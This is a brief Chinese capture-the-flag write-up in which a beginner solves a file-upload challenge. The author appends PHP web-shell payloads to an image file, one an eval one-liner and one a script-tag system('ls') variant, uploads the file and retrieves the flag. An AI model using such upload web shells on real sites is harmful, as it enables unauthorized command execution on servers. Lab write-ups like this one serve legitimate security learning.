首先看网页源代码,发现
访问upload.php,进入上传页面。
要求上传图片,开始构造一句话图片马。因为初学,一句话不太熟只知道
<?php @eval($_post[a]);?>
把这句话加在图片(改为txt格式)的最后,再改回jpg。上传之后访问该图的存储路径,发现post数据没有反应。显示出来的我的"一句话"语句好像两头被转义了。想了好久不知道怎么办,主要不会更高级的一句话。后再看别人的wp,构造一句话为
<script language=php>system("ls")</script>
上传之后成功过访问图中的txt文件得flag。